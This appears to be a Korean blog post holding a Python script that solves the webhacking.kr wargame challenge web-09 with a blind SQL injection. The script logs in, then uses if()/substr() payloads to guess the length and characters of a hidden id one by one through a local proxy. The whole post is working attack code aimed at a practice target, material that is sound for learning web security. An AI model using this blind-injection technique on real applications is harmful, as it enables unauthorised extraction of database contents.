본문 바로가기
1. Information Technology/3. Python

1. Python 웹 크롤링 (로그인, 세션유지, 공격코드 요청_POST/GET)

by H232C 2019. 10. 30.
import requests
s = requests.Session()
proxyList = {'http':'127.0.0.1:8000',
             'https':'127.0.0.1:8000'}
def login():
    
    url = 'https://webhacking.kr/login.php?login'
    login = {'id':'계정명',
             'pw':'패스워드'}
    response = s.post(url, data=login, proxies=proxyList, verify=False)
    response.status_code
    print (response.text)
def payload():
    
    login(); TrustKey = "Secret" ; code=''
    for i in range(1,20):
        url = "https://webhacking.kr/challenge/web-09/?no=if(length(id)in({}),3,0)".format(str(i))
        response = s.get(url, proxies=proxyList, verify=False)
        response.status_code
        res = response.text
        leng = i
    
        if(res.find(TrustKey)!=-1):
            print ("[-] Find Out Length Of ID : {}".format(str(leng)))
            break
            
    for i in range(1,leng+1):
        for j in range(65, 128):
            url = "https://webhacking.kr/challenge/web-09/?no=if(substr(id,{},1)in('{}'),3,0)".format(str(i),chr(j))
            response = s.get(url, proxies=proxyList, verify=False)
            response.status_code
            res = response.text
            
            if(res.find(TrustKey)!=-1):
                code = code + str(chr(j))
                print ("[-] Find Out Of ID : {}".format(str(code)))
                break
    
    print (code)
            
payload()

Python 3.x

'1. Information Technology > 3. Python' 카테고리의 다른 글

2. Python 키로거(Keylogger)  (0) 2020.06.09

댓글